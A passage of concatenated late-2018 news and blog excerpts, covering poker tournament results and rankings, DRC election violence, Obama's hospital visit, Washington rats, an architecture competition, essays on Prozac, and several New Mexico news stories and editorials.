the final table. However he was soon overtaken by Henrik Hecklen who moved into the chip lead after rivering a straight against Reard, and once Reard doubled through Anton Yakuba, Dvoress finished off the Russian who bust in ninth. Tomas Paiva doubled through Ole Schemion, with Dvoress moving up to around four million in chips. Michael Addamo would then double through the Canadian before a flurry of exits. The Australian went first, shoving ace-king into the eights of Hecklen who then flopped a set. Then Van Putten, who had been involved in very few pots at the final table, shoved ace-three into the king-ten of Hecklen, who then turned a straight to bust the start-of-day chip leader. Then, to finish off 15 minutes of madness, Paiva's nines were finished off by the queens of Hecklen who had in the course of those three eliminations chipped up to over five million in chips. Daniel Dvoress A quick finish looked in the offing, but former PSC High Roller champion Danny Tang doubled twice; through both Reard and Dvoress, to stick around, before Hecklen added his fourth elimination in a row as Dvoress hit the rail in fifth. It was then Reard's turn to double three times as he recovered from a five big blind stack to over 40 big blinds, with Tang heading in the other direction. He was next to bust in fourth before a stunning hand eliminated Reard in third. Reard had flopped a set and check-called all three streets, only for opponent Schemion to have rivered a straight and bust the Frenchman in third. Ole Schemion Heads-up play started with Schemion at a chip disadvantage against his Danish opponent, who was on a roll after so many consecutive eliminations. However that soon disappeared, and indeed it was Schemion who looked likely to pull away. The German recorded two doubles during heads-up, but never quite managed to extend the chip lead to such a point as it looked like he might clinch it. As it happened, the pendulum swung the other way and Hecklen soon got things back to how he started heads-up play. After one hand where Schemion spiked a three-outer on the river to stay alive and deny Hecklen, the Dane wasn't going to let the next opportunity slip out of his hands. So when he picked up queens, they got in. They held. And Hecklen became the latest EPT High Roller champion. 10,300 High Roller Champion Henrik Hecklen The Stars Group is a majority shareholder in iBus Media. UK & Ireland Global Poker Index: Chidwick Locks Up UK POY December 20 2018 Matthew Pitt There may be two weeks remaining of 2018 but Stephen Chidwick has locked up his third Global Poker Index United Kingdom Player of the Year title in four years thanks to having an unassailable lead over Aymon Hata. Chidwick finds himself ranked number one in the United Kingdom by more than 800 points, a gap that will only widen when the rankings are updated next week to include his recent third-place finish in the 2018 Super High Roller Bowl that banked Chidwick a massive $1,512,000 score. It has been a phenomenal year at the live poker tables for Chidwick. The man from Deal, Kent who now resides in Mexico, has amassed almost $11 million in winnings during the current year, more than three-times more than his previous best annual total. The only thing missing from a perfect year is a World Series of Poker (WSOP) bracelet, surely one of those will be adorning Chidwicks wrist come the end of 2019? This incredible year at the felt has given Chidwick a lead in the UK Player of the Year leaderboard that is impossible to catch. Hata has enjoyed his best-ever year, like Chidwick, thanks in part to a third-place finish in the $100,000 High Roller at the WSOP that banked Hata $1,247,230. The Global Poker Index will make its final update of the 2018 rankings on Dec. 26, but they should read very similar to the tables below. UK Global Poker Index Top 10 (Dec. 20, 2018) UK Rank World Rank Player Points 1 3 Stephen Chidwick 3600.43 2 39 Niall Farrell 2763.48 3 57 Jack Sinclair 2567.82 4 69 Jack Salter 2501.58 5 79 Adam Owen 2441.59 6 85 Ludovic Geilich 2426.72 7 109 Ben Heath 2322.77 8 136 Chris Moorman 2249.08 9 141 Aymon Hata 2237.08 10 146 Tom Hall 2228.34 UK Global Poker Index Player of the Year Top 10 (Dec. 20, 2018) UK Rank World Rank Player Points 1 2 Stephen Chidwick 3786.91 2 47 Aymon Hata 2735.43 3 50 Jack Sinclair 2705.38 4 56 Niall Farrell 2663.81 5 76 Adam Owen 2545.09 6 115 Ludovic Geilich 2327.13 7 132 Chris Moorman 2253.46 8 168 Jack Salter 2175.01 9 219 Ben Dobson 2032.99 10 264 James Rann 1925.39 Marc MacDonnel Tops the Irish Charts Again Marc MacDonnell Like Chidwick, Marc MacDonnell is ending the year as the number one in his country and by securing his third Irish Player of the Year title in four years. 2018 has seen MacDonnell win almost $1.6 million in the live arena, by far his best year at the tables. MacDonnell travelled to Los Angeles in Feb. and finished fourth in the $10,000 WPT L.A. Poker Classic for $319,310 before enjoying another six-figure score when he won the $1,100 No Limit Holdem side event at the 2018 Seminole Hard Rock Poker Open; the man known as Sluglife netted $119,465. The best was yet to come because MacDonnell navigated his way to a third-place finish in the partypoker LIVE Caribbean Poker Party Main Event, a result that saw MacDonnell walk away with a career-best score of $1,000,000. Patrick Clarke is the only player in the Irish Player of the Year standings that could have caught MacDonnell, but he has run out of time as there are no big buy-in tournaments scheduled for the remainder of the year. Clarke, the 2014 Irish Poker Open champion, broke through $1 million in live poker tournament winnings when he finished eighth in the European Poker Tour Barcelona Main Event for 155,000. Ireland Global Poker Index Top 10 (Dec. 20, 2018) Ireland Rank World Rank Player Points 1 35 Marc MacDonnell 2790.59 2 276 Patrick Clarke 1928.03 3 282 Gavin ORourke 1916.07 4 326 Dan Wilson 1844.11 5 757 Dermot Blain 1404.59 6 778 Michael Foley 1392.32 7 941 Dara OKearney 1296.98 8 996 Cathal Shine 1273.12 9 1034 Mark Buckley 1252.43 10 1437 Michael OSullivan 1095.49 Ireland Global Poker Index Player of the Year Top 10 (Dec. 20, 2018) Ireland Rank World Rank Player Points 1 43 Marc MacDOnnell 2792.57 2 161 Patrick Clarke 2190.38 3 305 Gavin ORourke 1838.46 4 432 Dan Wilson 1658.49 5 812 Mark Buckley 1335.84 6 855 Mark Buckley 1309.67 7 1000 Dara OKearney 1232.27 8 1147 Cathal Shine 1169.90 9 1270 Sam Baneham 1111.73 10 1290 David Lappin 1100.12 It has been an exciting year for poker players from the United Kingdom and Ireland and we cannot wait for 2019 to get underway. With a little luck, our elite players from the UK and Ireland will shine at both the 2019 PokerStars Caribbean Adventure and the 2019 Aussie Millions and kick the new year off in style. More than 100 people have been killed in clashes between rival ethnic groups in Democratic Republic of Congo, days before Sundays long-delayed presidential, legislative and provincial elections, in the war-torn mineral-rich nation. According to local media, the fighting between the Batende and Banunu ethnic groups broke out on Sunday over the disputed location of a Banunu chiefs burial. Today we have identified almost 120 deaths, and there are 71 others wounded in the hospital, Jules Bango, an activist in the region told Reuters. The election campaign was marred by violent crackdowns on opposition rallies and the destruction of thousands of the capitals voting machines in a fire last week. The long-delayed election is meant to choose a successor to President Joseph Kabila, in power since 2001. Kabila should have stepped down at the end of 2016 when his constitutional two-term limit expired, but had refused to step down. A country of some 80 million people, the Democratic Republic of Congo (DRC) has never known a peaceful transition of power since it gained independence in 1960. Many provinces are in the grip of armed conflicts and millions have had to flee their homes, many flocking to Uganda, Tanzania, Angola and Zambia. This weekend presidential election could lead to the countrys first democratic transfer of power, following decades marked by authoritarian rule, coups and deadly conflict. In all, 21 candidates will be running, including several other prominent Kabila critics, which risks diluting the opposition vote and boosting the ruling partys chances. Former president Barack Obama dressed up as Santa Claus and visited the Childrens National hospital in Washington, DC with a sack slung over his shoulder. It contained gifts for the kids and he sang Christmas carols to bring holiday cheer to the lives of these poor children. The doctors, nurses, and other staff members joined him to brighten up the atmosphere. It was a great start to Christmas for these kids who will be spending the festival cooped up in the hospital. Daily Mail UK reports Barack Obama went around the hospital with his bag and delivered the gifts personally to the children who were overjoyed to meet him. There were different types of toys in his sack and they ranged from remote-control cars to Hot Wheels sets, apart from nail polish, jigsaw puzzles, etcetera. There was no boundary between the former president and the kids and their families. Kids are Obamas weakness The visit of Barack Obama reveals the inner mind of the man who was in the White House for two terms and left an indelible impression on all those he met from any walk of life. He arrived at the Childrens National Hospital in Washington, DC where the hospital staff and others greeted him and he, wearing a red hat sang, We Wish You a Merry Christmas to set the mood for the occasion. His interaction with the children was emotional and he danced with one of the girls. Some of the kids shed tears of joy. Former Pres. Barack Obamahauling a big sack of giftsstopped by the Childrens National Hospital in Washington, D.C. https://t.co/wUURoviulz pic.twitter.com/2m2fcsCHIV ABC News (@ABC) December 19, 2018 Kurt Newman, chief executive and president of Childrens National Health System, told a section of the media that kids would remember this visit for a long time. Discuss this news on Eunomia He went on to add that Christmas was that time of the year when no one wants to remain in the hospital. Barack Obama, by his very presence and natural warmth, lifted the spirits of not just the kids, but also of their parents and staff member of the hospital. Obama's bond with the children USA Today adds former President Barack Obama stopped by at a children's hospital with a sack full of toys to cheer up the kids who will be there during Christmas. He went from room to room handing over gifts that he and his staff had collected and seemed to be gradually returning to the public area. Visiting the hospital was a regular feature for him and former first lady Michelle Obama when he was in office. The two of them have always wanted to remain in touch with the younger generation and have undertaken similar visits in the Washington area recently. It included several high schools. Incidentally, Michelle last went to this hospital in 2014 while she was the first lady. She made this trip every year as long as she was in the White House. Her memoir Becoming is today a bestseller. Rats are fine in movies like Ratatouille but become a menace when they enter real life. That is the worry for Washington DC because these rodents appear to be everywhere. They roam the streets, scurry across alleys and frequent the trashcans. One ventured into the White House lawn. An official of D.C. Department of Health explains that this rat could be one of many that were flushed out of its burrow due to rains. He went on to add that they are good swimmers and survive but have to search for food. Hence, they come into the open. Washington Post reports rat sightings have links with factors like food, weather conditions and density of population. Officials attribute this increase in rat menace to recent weather conditions coupled with additional trash generated because of more people in the District. Funds are available According to Washington Post, Department of Health has funds to tackle the rat menace. They will go in for hiring staff and equip them with sophisticated devices that will track rat complaints in real time. That will help to zero in on rat-infested areas. The problem is very much present as revealed by statistics. The citys line about rodents is 311 and in 2017, complaints were at an all-time high of 5310. This adds up to a 50 percent increase from the previous year. Rats spotted at White House: Washington battles rodent surge in vermin https://t.co/q55WTUgtSw Sky News (@SkyNews) December 19, 2018 The authorities have advised residents and visitors to call 311 and report rat sightings. That will help to identify and track areas that are most affected. The city does not have any information regarding the rat in the lawns of White House. The responsibility of White House and its neighboring park rests with the National Park Service, and they conduct rodent sweeps on a weekly basis. Rats are a menace Sky News confirms about journalists who sighted brown rats on the White House lawn. Discuss this news on Eunomia The rat menace in Washington DC has become an irritant for the authorities. Gerard Brown, a program manager at the DC Department of Health, has said that the problem is real and added that a mature female Norway rat could be a real danger. Its reproduction rate is mind-boggling. It is capable of giving birth to one litter of 10 infants every month. In the opinion of experts, the rodent problem in Washington DC has aggravated due to mild winters and an increase in human population. The former will give rise to a scarcity of food while the latter will mean an abundance of rubbish that the rodents feast on. Eating joints must take action to ensure that leftover foods are disposed of in a manner that will not attract the rodents. New York City has faced this problem in the past. Chinese President Xi Jinping on Thursday pledged to help promote further development of a comprehensive strategic partnership between China and Algeria. Thursday marks the 60th anniversary of the establishment of diplomatic relations between the two nations. In a congratulatory message to his Algerian counterpart, Abdelaziz Bouteflika, Xi said China and Algeria have enjoyed profound traditional friendship. Over the past two decades, tens of thousands of Chinese workers have flowed into Algeria. The development of the China-Algeria relationship has always maintained good momentum, said Xi, adding that the two countries have made great progress in ties and achieved fruitful outcomes. Bouteflika, in his message, said Algeria is willing to further consolidate political mutual trust with China and to actively participate in the Belt and Road construction project. China is Algerias largest trade supplier for the fifth year in a row. In 2017, Chinas exports to Algeria were worth $8.3 billion, representing 18.1 percent of the North African total imports. Chinas footprint in Algeria has expanded since 2001, much as it has throughout the Middle East and Africa. In 2014, the Sino-Algerian bilateral relationship was elevated to a Comprehensive Strategic Partnership, and since then has further developed. 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Nov 09 (9) Nov 08 (9) Nov 07 (12) Nov 06 (8) Nov 05 (4) Oct 29 (1) Oct 01 (1) Jul 29 (1) May 11 (1) Jul 11 (1) Bee Breeders has announced the Gauja National Park Footbridge competition, in collaboration with Environment Agency - Abu Dhabi (EAD). Latvias largest national park celebrates its 45th anniversary by tasking architecture enthusiasts with designing an entryway footbridge. Known for the scale of diverse wildlife and varied landscapes within, the Gauja National Park is a popular tourist attraction in one of the greenest and most naturally stunning countries in the world. Participants are tasked with thinking about the buildability of their designs, and ensuring that they correspond with the context of the national park and being welcoming to visitors, while at the same time displaying innovation and the potential to become an internationally recognized landmark. The footbridge should be both welcoming and innovative, greeting guests to the park while at the same time having the potential to become known as an internationally-recognized landmark in its own right. The Gauja National Park Footbridge is open until April 26, 2019, with final winners of the US$ 6,000 prize to be announced on July 11, 2019. Spanning over 917 km2, the Gauja National Park in Vidzeme is the largest national park in Latvia, a country known for its low population density and vast areas of natural forests. The park takes its name from the Gauja River Valley and was one of Latvias first national parks, established in 1973, but with a history of tourism supposedly dating back to the 19th century. With so many national parks in Eastern Europe, the Gauja National Park stands out for its varied landscape, featuring slopes, springs, valleys, caves, as well as the sandstone and dolomite cliffs that are one its biggest tourist attractions, all located within close proximity. Full to the brim with diverse wildlife and plant species, it is also home to more than 500 historic and cultural monuments such as castles, manors, churches, watermills, and windmills. The Gauja National Park Footbridge competition is sourcing designs for a footbridge to serve as a symbolic entrance to the park in honor of its 45th anniversary. As the footbridge would be suspended over a road, it must be high enough for trucks and buses to pass underneath it. It must also be capable of bearing the weight of high volumes of pedestrian foot traffic, and should feature welcome and goodbye signage as well as park information stand. Eligibility Competition is open to all. No professional qualification is required. Design proposals can be developed individually or by teams (4 team members maximum). Correspondence with organizers must be conducted in English; All information submitted by participants must be in English. Prizes 1st prize: US $3,000 / Publications Certificate of Achievement 2nd prize: US $1,500 / Publications Certificate of Achievement 3rd prize: US $500 / Publications Certificate of Achievement BB Student Award: US $500 (more details here) / Publications Certificate of Achievement BB Green Award: US $500 (more details here) / Publications Certificate of Achievement The competition will select 6 Honorable Mentions. Publication: The winners will get international art and design media coverage and will be featured on the Bee Breeders website and social pages. Certificate: Bee Breeders will also acknowledge the outstanding performance of all winners and honourable mentions with Certificates of Achievement. Jury panel is composed of Audrey McKee from Renzo Piano Building Workshop in France, Carlos M Guimaraes depA, correspondent of A10 magazine in Portugal, Daniel Jacobs from SHoP Architects, New York City, USA, Gemawang Swaribathoro from OMA, Hong Kong, John Paul Rysavy from SHoP Architects, New York City, USA; And-Either-Or Austin, Texas and Brooklyn, New York, USA. See the competition's full jury panel here. Key dates for the competition Closing date for registration: 26 April, 2019 Closing date for project submission: 11 June, 2019 (11.59pm GMT) Announcement of the winners: 11 July, 2019 Competition brief, photographs and 2D - 3D images of the site can be downloaded from the competition website. Contact Bee Breeders to receive special student rates for group registrations (discount applies for 3+ registrations from one university/school) and to receive further information and support for getting your students involved in architecture competitions. All images courtesy of Bee Breeders > via Bee Breeders Architecture Competitions Larry Arnhart in The New Atlantis: In the first issue of The New Atlantis, Leon Kass suggests that if biotechnology were to transform human nature, it would do so to satisfy the human dream of physical and mental perfection ageless bodies, happy souls. But how likely is that? As an indication of what he foresees, Kass says that with drugs, we can eliminate psychic distress, we can produce states of transient euphoria, and we can engineer more permanent conditions of good cheer, optimism, and contentment. He refers to those powerful yet seemingly safe anti-depressant and mood brighteners like Prozac, capable in some people of utterly changing their outlook on life from that of Eeyore to that of Mary Poppins. Similarly, psychiatrist Peter Kramer in his best-selling book Listening to Prozac described patients using Prozac who were not just cured of depression but so transformed in their personalities as to be better than well. Shy, quiet people were apparently turned into ebullient and socially engaging people. Like Garrison Keillors marvelous Powdermilk biscuits, Kramer observed, Prozac gives these patients the courage to do what needs to be done. This was the beginning, he concluded, of cosmetic psychopharmacology, by which people could use chemicals to take on whatever personality they might prefer. But as even Kramer has conceded, this chemical transformation in personality appears to work well in only a minority of the people taking Prozac. And in recent years, there have been increasing reports of many harmful side effects. This is to be expected, because like all psychotropic drugs, Prozac disrupts the normal functioning of the brain, and the brain responds by countering the effect of the drug, which then induces harmful distortions in the neural system. Specifically, Prozac blocks the normal removal of the neurotransmitter serotonin from the space between nerve cells. This creates an overabundance of serotonin, and the brain responds either by reducing receptivity to serotonin or by reducing the production of serotonin. As a result, the brain creates an imbalance in response to the disruption of the drug and cannot function normally. There is also growing evidence that Prozac does not really cure depression. Many studies have shown that the antidepressant effects of taking Prozac are not much greater than what occurs when people take a placebo pill. But the most fundamental problem with Prozac is one that it shares with all psychotropic drugs (including old-fashioned ones like alcohol). Emotional suffering is a capacity of human nature shaped by evolutionary history for an adaptive purpose. Emotional suffering is almost always a signal that something is wrong in our lives. It alerts us that there is some problem either in our internal lives, in our social relationships, or in our external circumstances. A psychotropic drug does not help us to understand or solve the problem. Rather, the drug deadens the emotional response of our brain without changing the problem that provoked the emotional response in the first place. When we feel bad because of a problem in our lives, taking a psychotropic drug to make us feel better is evasive and self-defeating. More here. (Note: From the Summer 2003 issue) Tiana Reed at The Paris Review: I first saw an Akomfrah film before I knew it was an Akomfrah film. I remember watching the documentary Seven Songs for Malcolm X (1993) in my single dorm room at the top of a hill on McGills campus in Montreal. I was alone in college, surrounded by people, and had settled into a life of solemnity. My first laptop had a disc drive, and I had gotten into the habit of borrowing DVDs from the university library in a forlorn attempt to stay in at least one night on the weekends. I, like my father, had gone through a phase contemplating conversion to Islam. Converting from what, I never knew. I didnt take it as seriously as he did (I never went to mosque), and mostly I just crushed on the hero, who I referred to in the margins of his autobiography as Mal. (Unlike my entrepreneurial Jamaican father, I had confused wanting to be a black Muslim with wanting to be a black Marxist.) Whatever I wanted to be, I could dream up. Whatever I was, I did not know. In Seven Songs for Malcolm Xwhich features interviews with Betty Shabazz, Spike Lee, Robin D. G. Kelley, and othersthe activist Yuri Kochiyama recalls the hours before Malcolm X was assassinated at the Audubon Ballroom in New York City: There was something in the air, I wouldnt know how to pinpoint it, but there seemed to be a lot of anxiety. more here. Tracy K. Smith in the New York Times: In the mid-1990s, when I was a student of creative writing, there prevailed a quiet but firm admonition to avoid composing political poems. It was too dangerous an undertaking, one likely to result in didacticism and slackened craft. No, in American poetry, politics was the domain of the few and the fearless, poets like Adrienne Rich or Denise Levertov, whose outsize conscience justified such risky behavior. Even so, theirs werent the voices being discussed in workshops and craft seminars. Maybe it was our relative political stability that kept Americans from stepping into the fray. Perhaps Americas individualism predisposed its poets toward the lyric poem, with its insistence on the primacy of a single speaker whose politics were intimate, internal, invisible. Then came the attacks on the World Trade Center in September 2001, and the war in Iraq, and something shifted in the nations psyche. More here. Fraud charge brings 10-year sentence, $7.78M in restitution for farmer Former Watertown farmer who admitted to bank fraud was sentenced to 10 years in prison, $7.78 million in restitution. EL PASO The father of a 7-year-old Guatemalan girl who died after being taken into Border Patrol custody in New Mexico said no water was provided to either him or his daughter, according to attorneys for the family. Weve had numerous conversations with our client; hes been very insistent on that point, attorney Chris Benoit told a news conference Wednesday at a migrant shelter where Nery Caal Cuz has been staying since his daughters death on Dec. 8. Customs and Border Protection officials have said the 163 migrants taken into custody on the night of Dec. 6, including Caal Cuz and his daughter, had access to water. Lawyers from two civil rights firms based in El Paso the Law Office of Lynn Coyle and Law Offices of Enrique Moreno are representing Jakelin Caal Maquins family. No decision has been made in terms of some type of claim on behalf of the family. We think its premature to make that type of judgment, Moreno said. The attorneys said the family is seeking an objective, thorough and independent investigation into the circumstances from the time the father and child turned themselves in to Border Patrol agents in Antelope Wells at 9:15 p.m. Dec. 6 to the point when the child was airlifted from Lordsburg to a hospital in El Paso on Dec. 7. The girls father told Border Patrol agents his daughter was vomiting before the hour-and-a-half bus ride from Antelope Wells to the Lordsburg Border Patrol substation, according to Customs and Border Protection officials. They should have contacted some type of emergency medical personnel, Moreno said. Among the questions the attorneys want answered are: What type of medical screening is provided for migrants in custody? And why was emergency medical attention delayed? What might be obvious, not obvious to you and I, even to a loving father, may be different than what would be recognized by a qualified medical professional or even a well-trained Border Patrol agent, Moreno said. The U.S. Office of the Inspector General is investigating whether agents followed proper procedures. Attorney Lynn Coyle said an independent investigation is needed because the review would be based on CBP standards on transport, escort and detention, which she called low. CBP requires only a visual check of children, according to Coyle. One of our concerns is under the Flores Agreement, which governs the arrest and detention of minors by immigration. That agreement is applicable to accompanied, as well as unaccompanied, minors, Coyle said. About 50 minors who arrived at the border alone were bused to the Lordsburg station first, while Jakelin, her father and other migrants waited for a second bus. The child, who turned 7 on Dec. 3, was in generally good health, her father told the attorneys. They left Guatemala on their own and were not part of a caravan. They arrived at the border by bus with the wall in sight, Benoit said. New Mexicos delegation, U.S. Sens. Tom Udall and Martin Heinrich, and U.S. Reps. Ben Ray Lujan and Michelle Lujan Grisham, in a letter urged the incoming House and Senate judiciary and homeland security committees to convene oversight hearings on the childs death. The timeline, actions, and factors that led to this girls tragic death are still not fully known, but the information that has become public so far is alarming and demands further investigation, the lawmakers wrote. WASHINGTON A former Blackwater security contractor was convicted Wednesday of murder at his third trial in the 2007 shooting of unarmed civilians in Iraq. Nicholas Slatten, 35, of Sparta, Tennessee, was found guilty of first-degree murder in Washington for his role in the shooting, which strained international relations and drew intense scrutiny of the role of American contractors in the Iraq War. Prosecutors charged that Slatten was the first to fire shots in the September 2007 massacre that killed 14 Iraqi civilians at a crowded traffic circle in Baghdad. They alleged that Slatten was unprovoked when he opened fire, first killing 19-year-old Ahmed Haithem Ahmed Al Rubiay, who was driving his mother to an appointment, prosecutors said. In all, 10 men, two women and two boys, ages 9 and 11, were killed. Eighteen others were injured. The defense has argued that Slatten and other Blackwater contractors opened fire only after Al Rubiays sedan, seen as a potential suicide car bomb, began moving quickly toward their convoy. After the shooting stopped, no evidence of a bomb was found. In 2014, a jury convicted Slatten and three other contractors Paul Alvin Slough, Evan Shawn Liberty and Dustin Laurent Heard who were part of a four-vehicle convoy that was protecting State Department personnel in the area. An appeals court had overturned that conviction, saying he should have been tried separately from three other men. Slatten was retried last summer, but a mistrial was declared after the jury couldnt reach a unanimous verdict. The appeals court had ordered that Slattens co-defendants be resentenced, and Slough, Liberty and Heard all remain in custody and are awaiting resentencing, prosecutors said. Slattens sentencing date has not yet been set. SANTA FE A proposal headed to the Legislature next month would establish a Cabinet-level department to oversee New Mexicos burgeoning investment in early childhood programs that aim to prepare youngsters for school and promote healthy brain development. State Sen. Michael Padilla, D-Albuquerque, announced the legislation, Senate Bill 22, during a news conference in Albuquerque. The 55-page measure would create the Early Childhood Education and Care Department an agency that would focus on programs for children through age 5. Services that are now spread across a few state departments would be consolidated under the new agency. Its duties would touch on home visiting programs, child care licensing, pre-kindergarten, prenatal services and education. Padilla said the department would help ensure the state is spending on programs that show results and would make it easier to identify gaps in the system and the need for expansion. Well have someone we can hold accountable for this function, he said in an interview. Well have a consistent approach. The governor would appoint the secretary of early childhood development and care, subject to confirmation by the Senate. An assistant secretary would focus on providing services in Native American communities and working with tribal governments. Padillas legislation calls for a $2.5 million appropriation to help establish the early childhood department. The programs overseen by the department, he said, would be a powerful tool for combating child abuse and setting youngsters on the right path. This is the earliest opportunity we have to truly turn New Mexico around, Padilla said. It sets the child up for the whole rest of their life. The Greater Albuquerque Chamber of Commerce endorsed creation of the department, in addition to a plan to increase spending on early childhood programs over time. The chamber said it still opposes a separate proposal that calls for tapping into New Mexicos largest permanent fund to pay for early childhood programs. The new department, in any case, would provide the kind of management and oversight needed to help ensure the money is spent effectively, the chamber said. It simply makes sense to house our early childhood programs in one place, where services can be coordinated and tailored to meet the needs of individual families and children, the chambers president and CEO, Terri Cole, said in a written statement. New Mexico has more than doubled its spending on early childhood programs over an eight-year period, to roughly $306 million this fiscal year. The increase coincides with a growing consensus inside the Roundhouse that early childhood programs should be a priority as New Mexico tries to interrupt the cycle of poverty by helping low-income families and young children. The legislative session begins Jan. 15. A Lovington man was found guilty of two counts of vehicular homicide and other charges in a crash that killed a newlywed couple two years ago. Oscar Zamora-Martinez, 21, faces a maximum 15-year prison term when hes sentenced, according to a Lovington Police Department news release issued Wednesday about the case. A Lea County District Court jury took just under three hours to render its guilty verdict on charges of two counts of homicide by vehicle caused by recklessness and single counts of child abuse and entering a stop or yield intersection, the news release reads. Joseph and Tymplaire Wier, 26 and 20, respectively, were killed in the April 23, 2016, crash at Industrial Street and East Avenue D in Lovington. The Wiers vehicle was heading east on Avenue D when it was hit by a northbound truck driven by Zamora-Martinez, whose younger brother was a passenger. Zamora-Martinez disregarded the stop sign and entered the intersection at a speed of approximately 50 to 60 miles per hour, Lovington police said. Zamora-Martinez claimed that his brakes had failed, but numerous tests by Loving detectives and a certified auto mechanic showed the brakes ere operational on Zamora-Martinezs vehicle even after the severe crash, police said. New Mexico State Police and the state Department of Public Safety crash reconstruction experts aided in the investigation. Zamora-Martinez will be sentenced by state District Judge William Shoobridge. When I read about our brain drain or businesses saying we lack a high-tech workforce, it shocks me because I know hundreds of high-tech science, tech, engineering and math (STEM) professionals who want to be here. I came to the University of New Mexico 30 years ago because I loved our students. They continue to amaze me. I also hear people who say there are no jobs. But economic leaders know there are thousands of jobs here. These kinds of disconnects present great opportunities. STEM Boomerang was organized to address some of these issues, and inspired by these disconnects and a number of unexpected events. The pre-Ph.D. program I had run for 15 years was ending. Business people said the lack of a high-tech workforce was limiting business. I had a database and hundreds of young professionals from New Mexico who we were in touch with. We saw an opportunity to do something that hadnt been tried before and might be amazing. Over 170 STEM professionals responded to our first survey. About 60 percent had Ph.D.s and 50 percent were ready to work in a year. Economic development representatives helped us get to know business leaders who were also enthusiastic. Last December, more than 115 participants met with people representing hiring entities and a range of economic sectors. These interactions led to jobs and optimism that there was a possibility to come home to a great career. As of today, almost a dozen professionals have jobs. At the event, both recruiters and participants expressed amazement at the level of talent and the range of innovative ideas being developed in the state. It was a win. The second STEM Boomerang, organized with the encouragement of both Albuquerque and Santa Fe mayors, is today at UNM. It was funded predominantly by UNM and my program funds, with support from economic development groups, the city and state. The goal is to bring back and keep highly educated Ph.D./MS/BS talent in New Mexico. State economic leaders are encouraged to come so they can understand the impact of this event. This year, we expanded our engineering outreach, and targeted aerospace businesses and professionals, because this is an exciting and growing area of our economy. STEM Boomerang has significant potential benefits beyond jobs. Realtors, marketing firms and others have seen the benefits of STEM Boomerang. Campaigns by both current U.S. Reps. Steve Pearce and (Gov.-elect) Michelle Lujan Grisham were enthusiastic. STEM Boomerang, as it grows, has the potential to benefit and connect our whole state. Brain drain is a difficult problem, and these kinds of problems are perpetuated by bottlenecks that take some effort to identify. Here are some bottlenecks that, if fixed, would make eliminating brain drain much easier: 1. Dispelling the idea that there are no jobs and that young professionals dont want to come back. There are and they do. 2. Knowing who our competitors are. For brain drain, our real competitors are other states. New Mexico, as a whole, needs to be on the same team. We need to re-evaluate how we present ourselves and target specific talent groups, together. 3. Realizing that long-term relationships with young people are extremely important. We all need to do a better job of staying in contact with New Mexican talent. We are not doing this statewide, and fixing this is easy. 4. Developing a better statewide publicity stream. Great ideas, from any part of New Mexico, need to find a way to be heard and discussed. 5. Finding ways to come out of our silos. STEM Boomerang is just one piece of growing New Mexicos future. Because people didnt know our high-tech workforce, they assumed it didnt exist. Silos perpetuate assumptions. If we want New Mexico to have inclusive growth, we have to get past our assumptions. Registration is at www.stemboomerang.org. Back in September, Mayor Tim Keller gave one of those rousing transparency speeches public officials are so fond of especially those who are relatively new in their terms. Government only works when it is accountable to the people it serves, but historically there have been several gaps in this area at the city. Were working to make our city more open and transparent across all departments. Kudos to the mayor. Except that the Albuquerque Police Department the organization one could argue should be at the top of the transparency list as it seeks to rebuild public trust while operating under a federal settlement agreement apparently didnt get the memo. Or officials put it in the circular file. About a month after Kellers ode to transparency in early September, APD shot a man it said was taking about 80 people hostage in a Chinese restaurant. Its an obvious case of exceptional public interest: hostages in a public place, a police shooting, etc. So how does that case stack up on transparency? Well, as of this week, police still havent identified the suspect or said what condition he is in. Or what charges he is facing. Or which officers shot him. Or whether they were put on administrative leave. In fact, as reported by the Journals Elise Kaplan, APD has released next to no information about any of the shootings officers have recently been involved in a total of four in the past 2 months. In the understatement of the year, spokesman Gilbert Gallegos says the department has been slower than we aim to be to keep up with the public release of information related to recent officer-involved shootings. You think? Gallegos cites various reasons for the virtual information blackout, including the need to interview many witnesses and involvement of other law enforcement agencies. None of those justifies the extent to which the public is being kept in the dark. Just because you cant tell all doesnt mean you cant tell some. Imagine this kind of blackout after the Las Vegas shooting. Or Parkland. Or Orlando. Those were much larger crime scenes with many more victims, yet law enforcement managed to get information out to the public in a timely, responsible manner. Gallegos says APD cant release any information on what happened in the hostage-taking and shooting at Lins Restaurant because federal authorities are leading the investigation into part of the incident. Thats nonsense. The feds are there as a neutral third party to make sure the investigation is legit. They cant, and shouldnt, totally muzzle APD. We see officials all over the country holding press conferences about high-profile shootings in which federal authorities also are involved. Gallegos said APD plans to hold a media briefing and answer questions about the other three shootings Friday. It will be interesting to see what information the department is finally willing to release. Peter Simonson, executive director of the American Civil Liberties Union of New Mexico, expresses well-founded concern in light of the reform-driven Department of Justice settlement agreement APD is operating under. Its important to remember that APD was shooting and killing someone about every month and actively resisting the publics efforts (to see what was going on.) We dont want to return to those days. It threatens to erode the trust that APD has built with the community over the past year, and it sends a message that not much has changed inside the department. No doubt the mayor was sincere in his comments about transparency. To prove it, he needs to have a sit-down with APD Chief Michael Geier that results in a change in this wrong-headed keep em in the dark policy that has been so effectively implemented at APD. This editorial first appeared in the Albuquerque Journal. It was written by members of the editorial board and is unsigned as it represents the opinion of the newspaper rather than the writers. Copyright 2018 Albuquerque Journal SANTA FE Theyve got money and a new governor to work with. Now state lawmakers are preparing for what could be a wild 2019 session the first since Democrats picked up eight seats in the state House and swept every statewide office in New Mexico. At one point this month, in fact, legislative staff reported an 80 percent jump in requests for legislation to be drafted, compared to similar periods before a 60-day session. Senate Majority Leader Peter Wirth, D-Santa Fe, said the change in the governors office Democrat Michelle Lujan Grisham will succeed Republican Susana Martinez and the revenue boom are factors in the increased activity. Its natural, he said, for an incoming governor after months of campaigning and talking to voters to enter office with fresh legislative priorities. Theres momentum that a new governor has, regardless of party, during their first session, Wirth said in an interview. But I also think the frustration, the gridlock over the last eight years, has resulted in many bills just being stuck not signed, or theyre vetoed. Now they have a chance of being signed, and that brings all those bills back. Republican legislators are raising questions about whether the Democratic majorities in the House and Senate will take the time necessary to evaluate the crush of proposed bills before voting on them. I just think when we have too many, they dont get vetted properly, said Rep. Jane Powdrell-Culbert, R-Corrales. Theres not enough time to allow the public to have some comment. During the campaign, Gov.-elect Lujan Grisham, a former state Cabinet secretary, suggested creating a slate of bills that arent controversial and can be acted on quickly. Wirth said he and other lawmakers are working on a system that would fast-track bills that have already passed either unanimously or with almost no opposition but were blocked by Martinez. In 2017, for example, Martinez vetoed more than half the bills passed by lawmakers, even bills that passed without any dissenting votes. She said many were poorly written, frivolous or rife with unintended consequences. Wirth said a four-person committee evenly divided between Democrats 